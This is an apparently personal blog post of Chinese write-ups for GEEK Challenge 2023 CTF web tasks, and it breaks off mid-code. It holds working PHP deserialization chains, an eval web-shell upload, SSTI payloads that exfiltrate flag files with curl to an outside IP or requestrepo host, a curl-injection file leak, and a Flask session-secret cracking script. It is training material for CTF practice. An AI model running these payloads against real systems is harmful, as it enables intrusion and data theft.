{"id":167,"date":"2025-11-04T00:53:21","date_gmt":"2025-11-03T16:53:21","guid":{"rendered":"http:\/\/101.201.119.158\/?p=167"},"modified":"2025-12-08T23:47:33","modified_gmt":"2025-12-08T15:47:33","slug":"%e6%9e%81%e5%ae%a2%e5%a4%a7%e6%8c%91%e6%88%982023-web","status":"publish","type":"post","link":"http:\/\/101.201.119.158\/?p=167","title":{"rendered":"\u6781\u5ba2\u5927\u6311\u6218-Web"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-unsign<\/h2>\n\n\n\n<p>\u6765\u7b7e\u4e2a\u5230\u5427\u5148<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>class syc<br>{<br> &nbsp;  public $cuit;<br> &nbsp;  public function __destruct()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo(\"action!&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  $function=$this-&gt;cuit;<br> &nbsp; &nbsp; &nbsp;  return $function();<br> &nbsp;  }<br>}<br>\u200b<br>class lover<br>{<br> &nbsp;  public $yxx;<br> &nbsp;  public $QW;<br> &nbsp;  public function __invoke()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo(\"invoke!&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  return $this-&gt;yxx-&gt;QW;<br> &nbsp;  }<br>\u200b<br>}<br>\u200b<br>class web<br>{<br> &nbsp;  public $eva1;<br> &nbsp;  public $interesting;<br>\u200b<br> &nbsp;  public function __get($var)<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  echo(\"get!&lt;br&gt;\");<br> &nbsp; &nbsp; &nbsp;  $eva1=$this-&gt;eva1;<br> &nbsp; &nbsp; &nbsp;  $eva1($this-&gt;interesting);<br> &nbsp;  }<br>}<br>if (isset($_POST['url'])) <br>{<br> &nbsp;  unserialize($_POST['url']);<br>}<br>\u200b<br>?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u94fe\u5b50\uff1asyc-dest-&gt;&gt;$function() -&gt; lover-__invoke()-&gt;&gt;$this-&gt;yxx-&gt;QW -&gt; web-&gt;get-&gt;&gt;eval<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">exp\uff1a<br>&lt;?php<br>\u200b<br>class syc<br>{<br> &nbsp;  public $cuit;<br>\u200b<br>}<br>\u200b<br>class lover<br>{<br> &nbsp;  public $yxx;<br> &nbsp;  public $QW;<br>\u200b<br>}<br>\u200b<br>class web<br>{<br> &nbsp;  public $eva1;<br> &nbsp;  public $interesting;<br>}<br>\u200b<br>$a = new syc();<br>$b = new lover();<br>$c = new web();<br>$a -&gt; cuit = $b;<br>$b -&gt; yxx = $c;<br>$c -&gt; eva1 = \"system\";<br>$c -&gt; interesting = \"tac \/f*\";<br>echo serialize($a);<br>\/\/O:3:\"syc\":1:{s:4:\"cuit\";O:5:\"lover\":2:{s:3:\"yxx\";O:3:\"web\":2:{s:4:\"eva1\";s:6:\"system\";s:11:\"interesting\";s:7:\"tac \/f*\";}s:2:\"QW\";N;}}<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-n00b_Upload<\/h2>\n\n\n\n<p>{&#8220;type&#8221;:&#8221;doc&#8221;,&#8221;content&#8221;:[{&#8220;type&#8221;:&#8221;heading&#8221;,&#8221;attrs&#8221;:{&#8220;level&#8221;:4},&#8221;content&#8221;:[{&#8220;type&#8221;:&#8221;text&#8221;,&#8221;text&#8221;:&#8221;&#8221;\u624e\u53e4\uff0c\u624e\u53e4\u2764\u201c&#8221;}]}]}<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">Content-Disposition: form-data; name=\"file\"; filename=\"1.php\"<br>Content-Type: image\/png<br>\u200b<br>&lt;?= @eval($_POST[1]);?&gt;<br>------WebKitFormBoundary23rRUoypB08Lidcr<br>Content-Disposition: form-data; name=\"submit\"<br>\u200b<br>\u63d0\u4ea4<\/pre>\n\n\n\n<p>\u7136\u540e\u8bbf\u95ee1.php\u8fdb\u884crce\u5c31\u884c<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-easy_php<\/h2>\n\n\n\n<p>\u5b66\u4e86php\u4e86\uff0c\u90a3\u5c31\u6765\u770b\u770b\u8fd9\u4e9b\u7ed5\u8fc7\u5427<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>header('Content-type:text\/html;charset=utf-8');<br>error_reporting(0);<br>\u200b<br>highlight_file(__FILE__);<br>include_once('flag.php');<br>if(isset($_GET['syc'])&amp;&amp;preg_match('\/^Welcome to GEEK 2023!$\/i', $_GET['syc']) &amp;&amp; $_GET['syc'] !== 'Welcome to GEEK 2023!') {<br> &nbsp;  if (intval($_GET['lover']) &lt; 2023 &amp;&amp; intval($_GET['lover'] + 1) &gt; 2024) {<br> &nbsp; &nbsp; &nbsp;  if (isset($_POST['qw']) &amp;&amp; $_POST['yxx']) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $array1 = (string)$_POST['qw'];<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  $array2 = (string)$_POST['yxx'];<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (sha1($array1) === sha1($array2)) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  if (isset($_POST['SYC_GEEK.2023'])&amp;&amp;($_POST['SYC_GEEK.2023']=\"Happy to see you!\")) {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo $flag;<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u518d\u7ed5\u6700\u540e\u4e00\u6b65\u5427\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u597d\u54e9\uff0c\u5feb\u62ff\u5230flag\u5566\";<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  echo \"\u8fd9\u91cc\u7ed5\u4e0d\u8fc7\u53bb\uff0cQW\u53ef\u4e0d\u7b54\u5e94\u4e86\u54c8\";<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp;  echo \"\u563f\u563f\u563f\uff0c\u4f60\u522b\u6025\u554a\";<br> &nbsp;  }<br>}else {<br> &nbsp;  echo \"\u4e0d\u4f1a\u5427\u4e0d\u4f1a\u5427\uff0c\u4e0d\u4f1a\u7b2c\u4e00\u6b65\u5c31\u5361\u4f4f\u4e86\u5427\uff0cyxx\u4f1a\u77a7\u4e0d\u8d77\u4f60\u7684\uff01\";<br>}<br>?&gt;<br>\u200b<br>\u4e0d\u4f1a\u5427\u4e0d\u4f1a\u5427\uff0c\u4e0d\u4f1a\u7b2c\u4e00\u6b65\u5c31\u5361\u4f4f\u4e86\u5427\uff0cyxx\u4f1a\u77a7\u4e0d\u8d77\u4f60\u7684\uff01<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u7b2c\u4e00\u6b65\uff1asyc=welcome%20to%20GEEK%202023!&amp;lover=1e9<br>POST:<br>\u200b<br>SYC[GEEK.2023=1&amp;SYC[GEEK.2023=Happy to see you!&amp;qw=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C\/Width%202%200%20R\/Height%203%200%20R\/Type%204%200%20R\/Subtype%205%200%20R\/Filter%206%200%20R\/ColorSpace%207%200%20R\/Length%208%200%20R\/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85\/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr\/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1&amp;yxx=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C\/Width%202%200%20R\/Height%203%200%20R\/Type%204%200%20R\/Subtype%205%200%20R\/Filter%206%200%20R\/ColorSpace%207%200%20R\/Length%208%200%20R\/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85\/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2\/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1<br>\u200b<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">ctf_curl<\/h2>\n\n\n\n<p>\u9898\u76ee\u63cf\u8ff0\uff1a\u547d\u4ee4\u6267\u884c\uff1f\u771f\u7684\u5417\uff1f<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file('index.php');<br>\/\/ curl your domain<br>\/\/ flag is in \/tmp\/Syclover<br>\u200b<br>if (isset($_GET['addr'])) {<br> &nbsp;  $address = $_GET['addr'];<br> &nbsp;  if(!preg_match(\"\/;|f|:|\\||\\&amp;|!|&gt;|&lt;|`|\\(|{|\\?|\\n|\\r\/i\", $address)){<br> &nbsp; &nbsp; &nbsp;  $result = system(\"curl \".$address.\"&gt; \/dev\/null\");<br> &nbsp;  } else {<br> &nbsp; &nbsp; &nbsp;  echo \"Hacker!!!\";<br> &nbsp;  }<br>}<br>?&gt;<br>\u200b<\/pre>\n\n\n\n<p>\u53ef\u4ee5\u4f7f\u7528\u65e0\u56de\u663eRCE\u4e2d\u7684<strong>http \u4fe1\u9053<\/strong>\u5e26\u51fa\u6587\u4ef6\u5185\u5bb9<\/p>\n\n\n\n<p>?addr=xxxxxx.requestrepo.com -T \/tmp\/Syclover\uff0c\u76f4\u63a5\u5e26\u51fa\u6765\/tmp\/Syclover<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-flag\u4fdd\u536b\u6218<\/h2>\n\n\n\n<p>jwt\u7684\u4e4b\u540e\u5728\u5199<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-klf_ssti<\/h2>\n\n\n\n<p>De1ty\u7684\u5e7f\u4e1c\u670b\u53cb\u8ddf\u5973\u795e\u8868\u767d\u88ab\u9a82klf\uff0c\u73b0\u5728\u6c14\u6025\u8d25\u574f\uff0c\u4f60\u77e5\u9053klf\u662f\u4ec0\u4e48\u610f\u601d\u561b\uff1f\u4ed6\u73b0\u5728\u4f9d\u65e7\u89c9\u5f97\u4ed6\u4e0d\u662fklf\u4f60\u4eec\u624d\u662f\uff0c\u4f60\u80fd\u62ff\u5230flag\u8bc1\u660e\u4ed6\u662fklf\u561b\u2026<\/p>\n\n\n\n<p>f12\u51fa\u6765<\/p>\n\n\n\n<p>&lt;!&#8211; \u6211\u597d\u50cf\u85cf\u4e86\u4e1c\u897f\u4f60\u627e\u5f97\u5230\u561bklf&#8211;&gt;<\/p>\n\n\n\n<p>dirsearch\u626b\u4e00\u4e0b\u51fa\u6765<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/hack?klf= ssti\u7684<\/pre>\n\n\n\n<p>\u7ecf\u8fc7\u6d4b\u8bd5\u53d1\u73b0\u4ec0\u4e48\u7684\u6ca1\u6709\u56de\u663e\uff0c\u96be\u53d7\uff0c\u770b\u770b\u80fd\u4e0d\u80fd\u76f4\u63a5\u53cd\u5f39shell<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl \u4e0d\u7ed9\u4f60\u4eec\u770b').read()}}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">User-Agent: curl\/7.74.0<br>Accept: *\/* \u786e\u5b9e\u6709\u56de\u663e\uff0c\u53cd\u5f39shell\u76f4\u63a5\u6253<br>\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl \u4e0d\u7ed9\u4e0d\u7ed9\/`ls \/app\/f*`').read()}}<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u56de\u663e<br>GET \/\/app\/fl4gfl4gfl4g HTTP\/1.1<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/hack?klf={{config.__class__.__init__.__globals__['os'].popen('curl 101.201.119.158:2333\/`tac \/app\/fl4gfl4gfl4g`').read()}}<br>GET \/GEEKa6683312-eb8e-4afe-9be2-68f9a43ea11a HTTP\/1.1<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-ez_remove<\/h2>\n\n\n\n<p>\u6211\u60f3\u8981\u56de\u7089\u91cd\u9020\u4e00\u6ce2\uff0c\u600e\u4e48\u8bf4\uff0c\u96be\u9053\u4f60\u4e0d\u60f3\u5417<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>class syc{<br> &nbsp;  public $lover;<br> &nbsp;  public function __destruct()<br> &nbsp;  {<br> &nbsp; &nbsp; &nbsp;  eval($this-&gt;lover);<br> &nbsp;  }<br>}<br>\u200b<br>if(isset($_GET['web'])){<br> &nbsp;  if(!preg_match('\/lover\/i',$_GET['web'])){<br> &nbsp; &nbsp; &nbsp;  $a=unserialize($_GET['web']);<br> &nbsp; &nbsp; &nbsp;  throw new Error(\"\u5feb\u6765\u73a9\u5feb\u6765\u73a9~\");<br> &nbsp;  }<br> &nbsp;  else{<br> &nbsp; &nbsp; &nbsp;  echo(\"nonono\");<br> &nbsp;  }<br>}<br>?&gt;<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u8fd9\u91cc\u5229\u7528\u5341\u516d\u8fdb\u5236\u548cGC\u7ed5\u8fc7\u9650\u5236\u3002<br>https:\/\/link.csdn.net\/?from_id=134675568&amp;target=https%3A%2F%2Fy4tacker.gitee.io%2F2021%2F02%2F03%2Fyear%2F2021%2F2%25E6%259C%2588%2Fphp%25E5%258F%258D%25E5%25BA%258F%25E5%2588%2597%25E5%258C%2596%2F<br>https:\/\/blog.csdn.net\/Jayjay___\/article\/details\/132463913<br>O:3:\"syc\":1:{s:5:\"lover\";s:10:\"phpinfo();\";}<br>-&gt;<br>O:3:\"syc\":1:{S:5:\"lo\\76er\";s:10:\"phpinfo();\";\u3010\u8bb0\u5f97url\u7f16\u7801\u3011<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">GET:?web=O:3:\"syc\":1:{S:5:\"lo\\76er\";s:18:\"assert($_POST[1]);\";<br>\u200b<br>POST:1=\u8981\u6267\u884c\u7684\u4ee3\u7801<br>\u53ef\u4ee5\u8681\u5251\u8fde\u63a5<br>http:\/\/80-482363ca-eeec-47e9-a9ab-143ed67daebc.challenge.ctfplus.cn\/?web=O%3A3%3A%22syc%22%3A1%3A%7BS%3A5%3A%22lo%5C76er%22%3Bs%3A18%3A%22assert(%24_POST%5B1%5D)%3B%22%3B<br>\u8bb0\u5f97\u7f16\u7801 \u7136\u540e\u9009\u62e9base64<\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">\u6781\u5ba2\u5927\u6311\u62182023-web-ez_path<\/h2>\n\n\n\n<p>\u63d0\u793a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import os, uuid<br>from flask import Flask, render_template, request, redirect<br>\u200b<br>app = Flask(__name__)<br>ARTICLES_FOLDER = 'articles\/'<br>articles = []<br>\u200b<br>\u200b<br>class Article:<br> &nbsp;  def __init__(self, article_id, title, content):<br> &nbsp; &nbsp; &nbsp;  self.article_id = article_id<br> &nbsp; &nbsp; &nbsp;  self.title = title<br> &nbsp; &nbsp; &nbsp;  self.content = content<br>\u200b<br>\u200b<br>def generate_article_id():<br> &nbsp;  return str(uuid.uuid4())<br>\u200b<br>\u200b<br>@app.route('\/')<br>def index():<br> &nbsp;  return render_template('index.html', articles=articles)<br>\u200b<br>@app.route('\/upload', methods=['GET', 'POST'])<br>def upload():<br> &nbsp;  if request.method == 'POST':<br> &nbsp; &nbsp; &nbsp;  title = request.form['title']<br> &nbsp; &nbsp; &nbsp;  content = request.form['content']<br> &nbsp; &nbsp; &nbsp;  article_id = generate_article_id()<br> &nbsp; &nbsp; &nbsp;  article = Article(article_id, title, content)<br> &nbsp; &nbsp; &nbsp;  articles.append(article)<br> &nbsp; &nbsp; &nbsp;  save_article(article_id, title, content)<br> &nbsp; &nbsp; &nbsp;  return redirect('\/')<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  return render_template('upload.html')<br>\u200b<br>\u200b<br>@app.route('\/article\/&lt;article_id&gt;')<br>def article(article_id):<br> &nbsp;  for article in articles:<br> &nbsp; &nbsp; &nbsp;  if article.article_id == article_id:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  title = article.title<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  sanitized_title = sanitize_filename(title)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  article_path = os.path.join(ARTICLES_FOLDER, sanitized_title)<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  with open(article_path, 'r') as (file):<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  content = file.read()<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  return render_template('articles.html', title=sanitized_title, content=content, article_path=article_path)<br> &nbsp; &nbsp; &nbsp;  return render_template('error.html')  # \u5982\u679c\u627e\u4e0d\u5230\u5bf9\u5e94\u7684\u6587\u7ae0\uff0c\u5219\u8fd4\u56de\u9519\u8bef\u9875\u9762<br>\u200b<br>def save_article(article_id, title, content):<br> &nbsp;  sanitized_title = sanitize_filename(title)<br> &nbsp;  article_path = ARTICLES_FOLDER + '\/' + sanitized_title<br> &nbsp;  with open(article_path, 'w') as (file):<br> &nbsp; &nbsp; &nbsp;  file.write(content)<br>\u200b<br>\u200b<br>\u200b<br>\u200b<br>def sanitize_filename(filename): &nbsp; &nbsp; &nbsp;  #\u8fc7\u6ee4\u51fd\u6570\uff0c\u88ab\u8fc7\u6ee4\u7684\u5b57\u7b26\u90fd\u66ff\u6362\u6210\u4e0b\u5212\u7ebf<br> &nbsp;  sensitive_chars = [<br> &nbsp; &nbsp; &nbsp;  ':',<br> &nbsp; &nbsp; &nbsp;  '*',<br> &nbsp; &nbsp; &nbsp;  '?',<br> &nbsp; &nbsp; &nbsp;  '\"',<br> &nbsp; &nbsp; &nbsp;  '&lt;',<br> &nbsp; &nbsp; &nbsp;  '&gt;',<br> &nbsp; &nbsp; &nbsp;  '|',<br> &nbsp; &nbsp; &nbsp;  '.']<br> &nbsp;  for char in sensitive_chars:<br> &nbsp; &nbsp; &nbsp;  filename = filename.replace(char, '_')<br> &nbsp;  return filename<br>\u200b<br>\u200b<br>if __name__ == '__main__':<br> &nbsp;  app.run(debug=True)<br>\u200b<\/pre>\n\n\n\n<p>\u53d1\u73b0\u8fd9\u4e2a\u5b58\u5728Python \u4e2d\u7684\u8def\u5f84\u7a7f\u8d8a\u5728upload\u8fd9\u4e2a\u63a5\u53e3<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">def upload():<br> &nbsp;  if request.method == 'POST':<br> &nbsp; &nbsp; &nbsp;  title = request.form['title']<br> &nbsp; &nbsp; &nbsp;  content = request.form['content']<br> &nbsp; &nbsp; &nbsp;  article_id = generate_article_id()<br> &nbsp; &nbsp; &nbsp;  article = Article(article_id, title, content)<br> &nbsp; &nbsp; &nbsp;  articles.append(article)<br> &nbsp; &nbsp; &nbsp;  save_article(article_id, title, content)<br> &nbsp; &nbsp; &nbsp;  return redirect('\/')<br> &nbsp;  else:<br> &nbsp; &nbsp; &nbsp;  return render_template('upload.html')<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\"># os.path.join<br>&gt;&gt;&gt; os.path.join('\/home\/download', '..\/..\/opt\/logo.png')<br>\/home\/download\/..\/..\/opt\/logo.png<br>\u200b<br># pathlib<br>&gt;&gt;&gt; pathlib.Path('\/home\/download') \/ '..\/..\/opt\/logo.png'<br>\/home\/download\/..\/..\/opt\/logo.png<br>\u200b<br>\u3010\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\uff0c\u5219\u4e4b\u524d\u7684\u6240\u6709\u90e8\u5206\u90fd\u4f1a\u88ab\u4e22\u5f03\u5e76\u4ece\u7edd\u5bf9\u8def\u5f84\u5f00\u59cb\u7ee7\u7eed\u62fc\u63a5\u3011<br>\u200b<br># os.path.join<br>&gt;&gt;&gt; os.path.join('\/home\/download', '\/opt\/logo.png')<br>\/opt\/logo.png<br>\u200b<br># pathlib<br>&gt;&gt;&gt; pathlib.Path('\/home\/download') \/ '\/opt\/logo.png'<br>\/opt\/logo.png<br># os.path.join<br>&gt;&gt;&gt; os.path.join('\/home\/download', '..\/..\/opt\/logo.png')<br>\/home\/download\/..\/..\/opt\/logo.png<br>\u200b<br># pathlib<br>&gt;&gt;&gt; pathlib.Path('\/home\/download') \/ '..\/..\/opt\/logo.png'<br>\/home\/download\/..\/..\/opt\/logo.png<br>\u200b<br>\u3010\u5982\u679c\u67d0\u4e2a\u90e8\u5206\u4e3a\u7edd\u5bf9\u8def\u5f84\uff0c\u5219\u4e4b\u524d\u7684\u6240\u6709\u90e8\u5206\u90fd\u4f1a\u88ab\u4e22\u5f03\u5e76\u4ece\u7edd\u5bf9\u8def\u5f84\u5f00\u59cb\u7ee7\u7eed\u62fc\u63a5\u3011<br>\u200b<br># os.path.join<br>&gt;&gt;&gt; os.path.join('\/home\/download', '\/opt\/logo.png')<br>\/opt\/logo.png<br>\u200b<br># pathlib<br>&gt;&gt;&gt; pathlib.Path('\/home\/download') \/ '\/opt\/logo.png'<br>\/opt\/logo.png<br>https:\/\/blog.csdn.net\/qq_36078992\/article\/details\/122070641<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u6709\u8def\u5f84\u62fc\u63a5\uff0c\u731c\u6d4b\/home\u8def\u7531\u4e5f\u662f\u8def\u5f84\u62fc\u63a5\uff0c\u7528\u5230\u4e86os.path.join()\u6216\u8005pathlib.Path()\u65b9\u6cd5\uff0c\u6240\u4ee5\u9020\u6210\u4e86\u4e0a\u8ff0python\u8def\u5f84\u7a7f\u8d8a\u6f0f\u6d1e\u3002<\/pre>\n\n\n\n<p>\u76f4\u63a5\u6dfb\u52a0\/f14444\u5c31\u6b27\u514b\u4e86<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">you konw flask?<\/h2>\n\n\n\n<p>jwt\u5bc6\u94a5\u7684<\/p>\n\n\n\n<p>\u7206\u7834\u5bc6\u94a5\u811a\u672c<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">import itertools<br>import flask_unsign<br>from flask_unsign.helpers import wordlist<br>import requests as r<br>import time<br>import re<br>import sys<br>\u200b<br>path = \"wordlist.txt\"<br>\u200b<br>print(\"Generating wordlist... \")<br>\u200b<br>with open(path,\"w\") as f:<br> &nbsp;  #permutations with repetition<br> &nbsp;  [f.write('wanbao'+\"\".join(x)+'=wanbao'+\"\\n\") for x in itertools.product('0123456789abcdefghijklmnopqrstuvwxyzQWERTYUIOPLKJHGFDSAZXCVBNM', repeat=3)] &nbsp; #\u52a0\u4e0a\u524d\u7f00<br>\u200b<br>#url = \"http:\/\/47.115.201.35:8000\/index\"<br>#cookie_tamper = r.head(url).cookies.get_dict()['session']<br>cookie_tamper='eyJpc19hZG1pbiI6ZmFsc2UsIm5hbWUiOiIxMSIsInVzZXJfaWQiOjJ9.ZUOXIQ.PPWPtlyo0NR_mm1V_pdrQOLy240'<br>print(\"Got cookie: \" + cookie_tamper)<br>\u200b<br>print(\"Cracker Started...\")<br>\u200b<br>obj = flask_unsign.Cracker(value=cookie_tamper)<br>\u200b<br>before = time.time()<br>\u200b<br>with wordlist(path, parse_lines=False) as iterator:<br> &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  obj.crack(iterator)<br>\u200b<br>secret = \"\"<br>if obj.secret:<br> &nbsp;  secret =obj.secret.decode()<br> &nbsp;  print(f\"Found SECRET_KET {secret} in {time.time()-before} seconds\")<br>\u200b<br>signer = flask_unsign.sign({\"time\":time.time(),\"authorized\":True},secret=secret)<br>\u200b<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u5de5\u5177\uff1a<br>\u200b<br>\u89e3\u5bc6session\uff1aflask-unsign --decode --cookie '\u83b7\u5f97\u7684session'<br>\u200b<br>\u7206\u7834\u5bc6\u94a5\uff1aflask-unsign --unsign --cookie '\u83b7\u5f97\u7684session'<br>\u200b<br>\u52a0\u5bc6session\uff1aflask-unsign --sign --cookie \"{'logged_in': True}\" --secret 'CHANGEME'<br>\u200b<br>\u7206\u7834\u6307\u5b9a\u5b57\u5178\uff1aflask-unsign --unsign --cookie 'xxx --wordlist key.txt<br>\u200b<\/pre>\n\n\n\n<p>\u901a\u8fc7\u4f2a\u9020\u83b7\u5f97flag<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Pupyy_rce<\/h2>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>header('Content-Type: text\/html; charset=utf-8');<br>error_reporting(0);<br>include(flag.php);<br>\/\/\u5f53\u524d\u76ee\u5f55\u4e0b\u6709\u597d\u5eb7\u7684\ud83d\ude0b<br>if (isset($_GET['var']) &amp;&amp; $_GET['var']) {<br> &nbsp;  $var = $_GET['var'];<br> &nbsp; <br> &nbsp;  if (!preg_match(\"\/env|var|session|header\/i\", $var,$match)) {<br> &nbsp; &nbsp; &nbsp;  if (';' === preg_replace('\/[^\\s\\(\\)]+?\\((?R)?\\)\/', '', $var)){<br> &nbsp; &nbsp; &nbsp;  eval($_GET['var']);<br> &nbsp; &nbsp; &nbsp;  }<br> &nbsp; &nbsp; &nbsp;  else die(\"WAF!!\");<br> &nbsp;  } else{<br> &nbsp; &nbsp; &nbsp;  die(\"PLZ DONT HCAK ME\ud83d\ude05\");<br> &nbsp;  }<br>}<\/pre>\n\n\n\n<h3 class=\"wp-block-heading\"><strong>\u65e0\u53c2\u6570RCE<\/strong><\/h3>\n\n\n\n<p>\u5148<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">?var=print_r(scandir(getcwd()))%3B<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\"> Array ( [0] =&gt; . [1] =&gt; .. [2] =&gt; error.log [3] =&gt; fl@g.php [4] =&gt; genshin01.txt [5] =&gt; index.php [6] =&gt; tiangou01.txt [7] =&gt; tiangou02.txt )<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\u524d\u7f6e\u57fa\u7840\uff1a<br>array_rand(): \u4ece\u6570\u7ec4\u4e2d\u53d6\u51fa\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u5355\u5143\uff0c\u5e76\u4e14\u8fd4\u56de\u968f\u673a\u6761\u76ee\u7684\u4e00\u4e2a\u6216\u8005\u591a\u4e2a\u952e\u3002<br>array_flip()\uff1a\u8bfb\u53d6\u5f53\u524d\u76ee\u5f55\u7684\u952e\u548c\u503c\u8fdb\u884c\u4ea4\u6362\uff0c\u5982\u679c\u5931\u8d25\u8fd4\u56de NULL\u3002<br>array_flip()\u548carray_rand()\u914d\u5408\u4f7f\u7528\u53ef\u968f\u673a\u8fd4\u56de\u5f53\u524d\u76ee\u5f55\u4e0b\u7684\u6587\u4ef6\u540d\u3002\u56e0\u4e3a\u5176\u4e2d\u7684\u952e\u53ef\u4ee5\u5229\u7528\u968f\u673a\u6570\u51fd\u6570array_rand()\uff0c\u8fdb\u884c\u968f\u673a\u751f\u6210\u3002<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">?var=show_source(array_rand(array_flip(scandir(getcwd())))); \u968f\u673a\u7206\u67e5\u770b\u91cc\u9762\u7684\u6587\u4ef6<\/pre>\n\n\n\n<p>\u665a\u4e0a\u88ab\u8fd9\u4e2a\u65e0\u53c2\u6570rce\u70e6\u6b7b\u4e86\uff0c\u6b63\u597d\u8fc7\u6765\u603b\u7ed3\u4e00\u4e0b<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">&lt;?php<br>highlight_file(__FILE__);<br>$A = isset($_GET['pds2025']) ? $_GET['pds2025'] : null;<br>if ($A) {<br> 